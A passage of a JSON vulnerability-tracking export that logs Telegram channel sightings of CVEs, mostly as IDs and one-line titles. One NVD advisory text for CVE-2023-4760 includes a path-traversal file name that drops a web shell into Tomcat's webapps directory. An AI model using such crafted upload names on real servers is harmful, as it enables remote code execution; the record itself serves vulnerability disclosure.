0.26.8/0.27.4 Endorsement race condition (GHSA-r275-j57c-7mf2)", "creation_timestamp": "2024-03-08T16:21:37.000000Z"}, {"uuid": "53e36908-ca5b-49a1-af81-6b05d35c85c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47353", "type": "seen", "source": "https://t.me/ctinow/196712", "content": "https://ift.tt/OuSwqM9\nCVE-2023-47353 | IMOU GO 1.0.11 com.oneed.dvr.service.DownloadFirmwareService information disclosure", "creation_timestamp": "2024-02-29T15:21:32.000000Z"}, {"uuid": "bc79f097-78e3-4b5b-8463-38e1064c08a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47221", "type": "seen", "source": "https://t.me/ctinow/203501", "content": "https://ift.tt/hMQZJbH\nCVE-2023-47221", "creation_timestamp": "2024-03-08T18:32:02.000000Z"}, {"uuid": "951c93d7-752f-49f9-acf1-2e0cd24beffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47745", "type": "seen", "source": "https://t.me/ctinow/198720", "content": "https://ift.tt/OLIBDtN\nCVE-2023-47745", "creation_timestamp": "2024-03-03T13:31:34.000000Z"}, {"uuid": "fcb44aac-3790-46ec-9984-f54419a08dbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47745", "type": "seen", "source": "https://t.me/ctinow/198718", "content": "https://ift.tt/OLIBDtN\nCVE-2023-47745", "creation_timestamp": "2024-03-03T13:26:53.000000Z"}, {"uuid": "1b3e9612-3596-42a1-8d2a-b1579166e863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47020", "type": "seen", "source": "https://t.me/ctinow/198335", "content": "https://ift.tt/48tMm2j\nCVE-2023-47020 | NCR Terminal Handler up to 1.5.1 WSDL cross-site request forgery", "creation_timestamp": "2024-03-02T12:41:42.000000Z"}, {"uuid": "6bd1c7c8-149d-443e-b013-42c6b18e6a22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47537", "type": "seen", "source": "https://t.me/ctinow/198406", "content": "https://ift.tt/oTpQAi2\nCVE-2023-47537 | Fortinet FortiOS up to 7.0.x/7.2.6/7.4.1 certificate validation (FG-IR-23-301)", "creation_timestamp": "2024-03-02T16:11:50.000000Z"}, {"uuid": "fa7d3a6e-2737-41b8-844d-d7a01283180d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47742", "type": "seen", "source": "https://t.me/ctinow/198745", "content": "https://ift.tt/BRg0ZnS\nCVE-2023-47742", "creation_timestamp": "2024-03-03T14:31:31.000000Z"}, {"uuid": "8508e6d7-ae8e-4bf2-b857-357ee8b1597c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47742", "type": "seen", "source": "https://t.me/ctinow/198741", "content": "https://ift.tt/BRg0ZnS\nCVE-2023-47742", "creation_timestamp": "2024-03-03T14:26:39.000000Z"}, {"uuid": "75a95301-1ae0-45d7-abd9-de7f03e0e362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47131", "type": "seen", "source": "https://t.me/ctinow/198438", "content": "https://ift.tt/vHozNBQ\nCVE-2023-47131 | N-able PassPortal Extension up to 3.29.1 on Chrome log file", "creation_timestamp": "2024-03-02T18:21:47.000000Z"}, {"uuid": "0778c512-b36e-4020-8fc8-010991e9c933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47132", "type": "seen", "source": "https://t.me/ctinow/198430", "content": "https://ift.tt/jB3hTE8\nCVE-2023-47132 | N-able N-central prior 2023.6 API Privilege Escalation", "creation_timestamp": "2024-03-02T17:41:41.000000Z"}, {"uuid": "b82a2c53-535d-43ba-997e-4b2909d54651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47700", "type": "seen", "source": "https://t.me/ctinow/197988", "content": "https://ift.tt/EI9SuvX\nCVE-2023-47700 | IBM SAN Volume Controller certificate validation (XFDB-271016)", "creation_timestamp": "2024-03-01T21:16:38.000000Z"}, {"uuid": "9598f03e-13b6-4c86-a0b8-3eaa1f5541c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47691", "type": "seen", "source": "https://t.me/ctinow/202482", "content": "https://ift.tt/M3LZCp4\nCVE-2023-47691", "creation_timestamp": "2024-03-07T15:32:12.000000Z"}, {"uuid": "706fa7e0-7351-4ab6-bcac-d57b6be17e71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47415", "type": "seen", "source": "https://t.me/ctinow/202003", "content": "https://ift.tt/xuhgKC0\nCVE-2023-47415", "creation_timestamp": "2024-03-07T02:27:05.000000Z"}, {"uuid": "05aa4d93-ee8f-43ab-b73b-f93af2763ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47618", "type": "seen", "source": "https://t.me/ctinow/197565", "content": "https://ift.tt/wJxSrdt\nCVE-2023-47618 | TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 Build 20230322 Rel.70591 Web Filtering os command injection (TALOS-2023-1859)", "creation_timestamp": "2024-03-01T12:41:23.000000Z"}, {"uuid": "dd6f7ff8-a7b0-4135-87a2-feb033a1d620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47617", "type": "seen", "source": "https://t.me/ctinow/197543", "content": "https://ift.tt/DFmujck\nCVE-2023-47617 | TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 Build 20230322 Rel.70591 Web Group Member os command injection (TALOS-2023-1858)", "creation_timestamp": "2024-03-01T12:11:07.000000Z"}, {"uuid": "a2827cd8-a633-471a-a7f0-bd314d2bc71e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47209", "type": "seen", "source": "https://t.me/ctinow/197542", "content": "https://ift.tt/RQ9Culj\nCVE-2023-47209 | TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 Build 20230322 Rel.70591 IPsec Policy os command injection (TALOS-2023-1854)", "creation_timestamp": "2024-03-01T12:11:06.000000Z"}, {"uuid": "af5d023a-b343-462d-9196-195b5e061c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47167", "type": "seen", "source": "https://t.me/ctinow/197541", "content": "https://ift.tt/Iu9Oywh\nCVE-2023-47167 | TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 Build 20230322 Rel.70591 GRE Policy os command injection (TALOS-2023-1855)", "creation_timestamp": "2024-03-01T12:11:05.000000Z"}, {"uuid": "f7749ad7-effb-435d-95e8-92a1d9cb094b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47716", "type": "seen", "source": "https://t.me/ctinow/197272", "content": "https://ift.tt/VYBRfzv\nCVE-2023-47716", "creation_timestamp": "2024-03-01T04:21:57.000000Z"}, {"uuid": "e362efb2-5282-4e7e-af32-5b7e636d58e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47716", "type": "seen", "source": "https://t.me/ctinow/197275", "content": "https://ift.tt/VYBRfzv\nCVE-2023-47716", "creation_timestamp": "2024-03-01T04:31:58.000000Z"}, {"uuid": "c2224604-b211-4f75-9bdf-6e1a2f454eaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47691", "type": "seen", "source": "https://t.me/ctinow/202479", "content": "https://ift.tt/M3LZCp4\nCVE-2023-47691", "creation_timestamp": "2024-03-07T15:26:14.000000Z"}, {"uuid": "65bfdac3-bbc5-4176-8f8d-4923ee06ba5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47415", "type": "seen", "source": "https://t.me/ctinow/201991", "content": "https://ift.tt/xuhgKC0\nCVE-2023-47415", "creation_timestamp": "2024-03-07T02:26:51.000000Z"}, {"uuid": "0cfd134e-0fdc-4580-b00c-e266fa28916f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47874", "type": "seen", "source": "https://t.me/ctinow/196284", "content": "https://ift.tt/dE8H4Bb\nCVE-2023-47874", "creation_timestamp": "2024-02-29T07:26:31.000000Z"}, {"uuid": "b72ddeb3-13a4-4a76-a149-794c1e0102dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47022", "type": "seen", "source": "https://t.me/ctinow/196694", "content": "https://ift.tt/IlODy4w\nCVE-2023-47022 | NCR Terminal Handler 1.5.1 Script payload authorization", "creation_timestamp": "2024-02-29T14:52:05.000000Z"}, {"uuid": "03675117-8dfe-4d55-9f11-1340169c3dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47889", "type": "seen", "source": "https://t.me/ctinow/196693", "content": "https://ift.tt/WXrxwIO\nCVE-2023-47889 | com.bdrm.superreboot up to 1.0.3 on Android unknown vulnerability", "creation_timestamp": "2024-02-29T14:52:04.000000Z"}, {"uuid": "c7e9ecc3-645f-49da-a6f8-1ca51a17ab65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47354", "type": "seen", "source": "https://t.me/ctinow/196718", "content": "https://ift.tt/qhuiyfA\nCVE-2023-47354 | com.bdrm.superreboot 1.0.3 Intent PowerOffWidgetReceiver unknown vulnerability", "creation_timestamp": "2024-02-29T15:21:39.000000Z"}, {"uuid": "510c77f7-e091-4936-b08a-e7e01535ab7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47874", "type": "seen", "source": "https://t.me/ctinow/196267", "content": "https://ift.tt/dE8H4Bb\nCVE-2023-47874", "creation_timestamp": "2024-02-29T07:21:53.000000Z"}, {"uuid": "3f9bfa5a-b753-4de6-a3b7-aae9272a4668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47795", "type": "seen", "source": "https://t.me/ctinow/189680", "content": "https://ift.tt/rfYqjCJ\nCVE-2023-47795", "creation_timestamp": "2024-02-21T15:31:39.000000Z"}, {"uuid": "4890ac3e-73b1-436d-a739-e981d63f25f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47795", "type": "seen", "source": "https://t.me/ctinow/189668", "content": "https://ift.tt/rfYqjCJ\nCVE-2023-47795", "creation_timestamp": "2024-02-21T15:21:48.000000Z"}, {"uuid": "963b6268-9516-4508-8b6a-1dca6ff60dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47422", "type": "seen", "source": "https://t.me/ctinow/188998", "content": "https://ift.tt/Hw6MI43\nCVE-2023-47422", "creation_timestamp": "2024-02-20T23:26:52.000000Z"}, {"uuid": "fdedcca4-405a-4a6f-afb2-ff1592fdf0c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47635", "type": "seen", "source": "https://t.me/ctinow/188839", "content": "https://ift.tt/IwQ7AhN\nCVE-2023-47635", "creation_timestamp": "2024-02-20T19:27:09.000000Z"}, {"uuid": "ec19d8a5-8bc1-446d-b6cc-23ed38ce1055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47422", "type": "seen", "source": "https://t.me/ctinow/189006", "content": "https://ift.tt/Hw6MI43\nCVE-2023-47422", "creation_timestamp": "2024-02-20T23:27:05.000000Z"}, {"uuid": "b906080b-2128-4d6f-8c10-6f08d3b3d5bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47635", "type": "seen", "source": "https://t.me/ctinow/188855", "content": "https://ift.tt/IwQ7AhN\nCVE-2023-47635", "creation_timestamp": "2024-02-20T19:31:50.000000Z"}, {"uuid": "89856ca7-af43-4d25-b1e7-f0e27529daa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47526", "type": "seen", "source": "https://t.me/ctinow/192906", "content": "https://ift.tt/th53cyl\nCVE-2023-47526 | Chartify Plugin up to 2.0.6 on WordPress cross site scripting", "creation_timestamp": "2024-02-25T15:16:22.000000Z"}, {"uuid": "e449807b-ecd2-45ad-ac31-dbc60b4fbc2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47562", "type": "seen", "source": "https://t.me/ctinow/192813", "content": "https://ift.tt/nSb6wIj\nCVE-2023-47562 | QNAP Photo Station 6.4.2 os command injection (qsa-24-08)", "creation_timestamp": "2024-02-25T10:11:14.000000Z"}, {"uuid": "251d1a16-8026-4587-b2f1-b43354e1b752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47257", "type": "seen", "source": "https://t.me/ctinow/192643", "content": "https://ift.tt/wi9PC3f\nCVE-2023-47257 | ConnectWise ScreenConnect up to 23.8.4 channel accessible", "creation_timestamp": "2024-02-24T16:11:34.000000Z"}, {"uuid": "cf4f6a29-ff89-496a-8f53-97e1668e4e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47561", "type": "seen", "source": "https://t.me/ctinow/192822", "content": "https://ift.tt/ZS8ROQu\nCVE-2023-47561 | QNAP Photo Station 6.4.2 cross site scripting (qsa-24-08)", "creation_timestamp": "2024-02-25T10:41:37.000000Z"}, {"uuid": "418a37f7-0142-4212-b2e4-8d752e921ac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47568", "type": "seen", "source": "https://t.me/ctinow/192810", "content": "https://ift.tt/nIyAiV2\nCVE-2023-47568 | QNAP Systems QTS/QuTS hero/QuTScloud sql injection (qsa-24-05)", "creation_timestamp": "2024-02-25T10:11:10.000000Z"}, {"uuid": "074abf9e-dc5d-4b96-82ca-d5b8203142a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47567", "type": "seen", "source": "https://t.me/ctinow/192809", "content": "https://ift.tt/Z1CcYzM\nCVE-2023-47567 | QNAP Systems QTS/QuTS hero/QuTScloud os command injection (qsa-24-05)", "creation_timestamp": "2024-02-25T10:11:09.000000Z"}, {"uuid": "affc4f5c-88f4-4504-8c08-49f4c5eff82d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47566", "type": "seen", "source": "https://t.me/ctinow/192808", "content": "https://ift.tt/MDVYHAn\nCVE-2023-47566 | QNAP Systems QTS/QuTS hero/QuTScloud os command injection (qsa-24-04)", "creation_timestamp": "2024-02-25T10:11:08.000000Z"}, {"uuid": "7cf1f15f-761d-4383-b457-751d2fab137a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47564", "type": "seen", "source": "https://t.me/ctinow/192807", "content": "https://ift.tt/UqdSCwh\nCVE-2023-47564 | QNAP Qsync Central prior 4.3.0.11/4.4.0.15 permission assignment (qsa-24-03)", "creation_timestamp": "2024-02-25T10:11:06.000000Z"}, {"uuid": "359a788e-a80a-4ccf-8054-733fcd332420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47142", "type": "seen", "source": "https://t.me/ctinow/192799", "content": "https://ift.tt/8k4mtxi\nCVE-2023-47142 | IBM Tivoli Application Dependency Discovery Manager up to 7.3.0.10 access control (XFDB-270267)", "creation_timestamp": "2024-02-25T09:41:51.000000Z"}, {"uuid": "6659e789-4fc0-4004-863b-3034b92efdc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47148", "type": "seen", "source": "https://t.me/ctinow/192795", "content": "https://ift.tt/e7mR0js\nCVE-2023-47148 | IBM Storage Protect Plus Server up to 10.1.15.2 Admin Console authorization (XFDB-270599)", "creation_timestamp": "2024-02-25T09:41:47.000000Z"}, {"uuid": "2625f485-1cef-439f-9d9a-9b91079d9367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47143", "type": "seen", "source": "https://t.me/ctinow/192794", "content": "https://ift.tt/xwF3tzb\nCVE-2023-47143 | IBM Tivoli Application Dependency Discovery Manager up to 7.3.0.10 http headers for scripting syntax (XFDB-270270)", "creation_timestamp": "2024-02-25T09:41:45.000000Z"}, {"uuid": "45e7d697-7efd-402f-86d0-874b4b45b929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47256", "type": "seen", "source": "https://t.me/ctinow/192626", "content": "https://ift.tt/ASfVQHj\nCVE-2023-47256 | ConnectWise ScreenConnect up to 23.8.4 Proxy Setting access control", "creation_timestamp": "2024-02-24T15:16:55.000000Z"}, {"uuid": "b7ea18d5-e3f7-4a39-937e-1e4629b1a2f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4760", "type": "seen", "source": "https://t.me/cibsecurity/70876", "content": "\u203c CVE-2023-4760 \u203c\n\nIn Eclipse RAP versions from 3.0.0 up to and including 3.25.0, Remote Code Execution is possible on Windows when using the FileUpload component.The reason for this is a not completely secure extraction of the file name in the FileUploadProcessor.stripFileName(String name) method. As soon as this finds a / in the path, everything before it is removed, but potentially \\ (backslashes) coming further back are kept.For example, a file name such as /..\\..\\webapps\\shell.war can be used to upload a file to a Tomcat server under Windows, which is then saved as ..\\..\\webapps\\shell.war in its webapps directory and can then be executed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-21T12:30:57.000000Z"}, {"uuid": "ee69ea6f-6b6f-4a3d-8b4f-bd6d7543d883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47034", "type": "seen", "source": "https://t.me/ctinow/185534", "content": "https://ift.tt/vZLRlBT\nCVE-2023-47034 | UniswapFrontRunBot 0xdB94c denial of service", "creation_timestamp": "2024-02-15T14:21:11.000000Z"}, {"uuid": "d410c71c-b49c-45d9-b827-b1a79e108f89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47033", "type": "seen", "source": "https://t.me/ctinow/185533", "content": "https://ift.tt/EiwBcut\nCVE-2023-47033 | MultiSigWallet 0xF0C99 executeTransaction Privilege Escalation", "creation_timestamp": "2024-02-15T14:21:10.000000Z"}, {"uuid": "2b2c9ea6-1f8f-4e6e-ab28-f2ae438d4e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47867", "type": "seen", "source": "https://t.me/ctinow/187307", "content": "https://ift.tt/jq3cCBA\nCVE-2023-47867 | MachineSense FeverWarn Wi-Fi Host access control (icsa-24-025-01)", "creation_timestamp": "2024-02-18T17:11:47.000000Z"}, {"uuid": "cea2dbe0-e7f4-4f26-8eeb-3912694d6c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47035", "type": "seen", "source": "https://t.me/ctinow/185851", "content": "https://ift.tt/6qXoctx\nCVE-2023-47035 | RPTC 0x3b08c tradingOpen improper authorization", "creation_timestamp": "2024-02-15T20:26:54.000000Z"}, {"uuid": "42e73d41-05eb-4d3e-9054-8919a1c5224a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47024", "type": "seen", "source": "https://t.me/ctinow/185850", "content": "https://ift.tt/l3hUWJm\nCVE-2023-47024 | NCR Terminal Handler 1.5.1 UserSelfService cross-site request forgery", "creation_timestamp": "2024-02-15T20:26:53.000000Z"}, {"uuid": "2758b3b6-92e4-4f16-be90-9fd6dd17b8e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47115", "type": "seen", "source": "https://t.me/ctinow/186970", "content": "https://ift.tt/5CcjGiJ\nCVE-2023-47115 | HumanSignal label-studio up to 1.9.1 users/functions.py cross site scripting (GHSA-q68h-xwq5-mm7x)", "creation_timestamp": "2024-02-17T16:46:50.000000Z"}, {"uuid": "78650dcd-006e-40b8-8445-5a6feddfe166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47152", "type": "seen", "source": "https://t.me/ctinow/186221", "content": "https://ift.tt/rCoBKut\nCVE-2023-47152 | IBM DB2/DB2 Connect Server 11.5 risky encryption (XFDB-270730)", "creation_timestamp": "2024-02-16T10:11:37.000000Z"}, {"uuid": "2a78587e-dfa1-4b9c-bd7e-8a9d2dadb9d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47747", "type": "seen", "source": "https://t.me/ctinow/186226", "content": "https://ift.tt/LB4WzAZ\nCVE-2023-47747 | IBM DB2/DB2 Connect Server 10.5/11.1 /11.5 Query denial of service (XFDB-272646)", "creation_timestamp": "2024-02-16T10:11:43.000000Z"}, {"uuid": "b8cc28a0-37b0-4385-a487-a54553ca7a95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47158", "type": "seen", "source": "https://t.me/ctinow/186225", "content": "https://ift.tt/lQWSeon\nCVE-2023-47158 | IBM DB2/DB2 Connect Server 10.5/11.1 /11.5 Query denial of service (XFDB-270750)", "creation_timestamp": "2024-02-16T10:11:42.000000Z"}, {"uuid": "395638f7-4a1e-45c0-8051-ff29c0cb7dd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47746", "type": "seen", "source": "https://t.me/ctinow/186224", "content": "https://ift.tt/Renfb2q\nCVE-2023-47746 | IBM DB2/DB2 Connect Server 10.5/11.1/11.5 Query denial of service (XFDB-272644)", "creation_timestamp": "2024-02-16T10:11:41.000000Z"}, {"uuid": "4fcdf317-364f-4776-b2df-bc9c36a7efcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47141", "type": "seen", "source": "https://t.me/ctinow/186223", "content": "https://ift.tt/Kdefxwq\nCVE-2023-47141 | IBM DB2/DB2 Connect Server 11.5 on Linux Query denial of service (XFDB-270264)", "creation_timestamp": "2024-02-16T10:11:40.000000Z"}, {"uuid": "6bcd0f9d-8d2b-4979-8c0d-c62bb43d2159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47352", "type": "seen", "source": "https://t.me/ctinow/186190", "content": "https://ift.tt/OQUa5Vw\nCVE-2023-47352 | Technicolor TC8715D WPA2 information disclosure", "creation_timestamp": "2024-02-16T08:46:18.000000Z"}, {"uuid": "914b3bd6-9aac-44a4-8405-fe7bde2d6d45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47537", "type": "seen", "source": "https://t.me/ctinow/185611", "content": "https://ift.tt/BYnTPqE\nCVE-2023-47537", "creation_timestamp": "2024-02-15T15:31:37.000000Z"}, {"uuid": "d5990e6f-b22e-4648-8db2-0625f9165338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47618", "type": "seen", "source": "https://t.me/ctinow/180207", "content": "https://ift.tt/d4Yj3fb\nCVE-2023-47618", "creation_timestamp": "2024-02-06T18:27:01.000000Z"}, {"uuid": "ee4c71b1-7143-4f2d-814f-d574c5cb5e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47617", "type": "seen", "source": "https://t.me/ctinow/180206", "content": "https://ift.tt/mX48aCZ\nCVE-2023-47617", "creation_timestamp": "2024-02-06T18:27:00.000000Z"}, {"uuid": "ae1a2a4b-9d8a-4ebc-956a-9a98acf22597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47209", "type": "seen", "source": "https://t.me/ctinow/180205", "content": "https://ift.tt/9ygkM1C\nCVE-2023-47209", "creation_timestamp": "2024-02-06T18:26:59.000000Z"}, {"uuid": "74d61e16-9db3-4609-8e2b-e7102b84b0b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47167", "type": "seen", "source": "https://t.me/ctinow/180204", "content": "https://ift.tt/qdVnkAv\nCVE-2023-47167", "creation_timestamp": "2024-02-06T18:26:55.000000Z"}, {"uuid": "f9f90499-d04f-45b0-b053-fab7d32f7921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47700", "type": "seen", "source": "https://t.me/ctinow/180878", "content": "https://ift.tt/rZzvlOE\nCVE-2023-47700", "creation_timestamp": "2024-02-07T18:32:19.000000Z"}, {"uuid": "567fe798-e1ff-4435-becb-9911b25790b6", 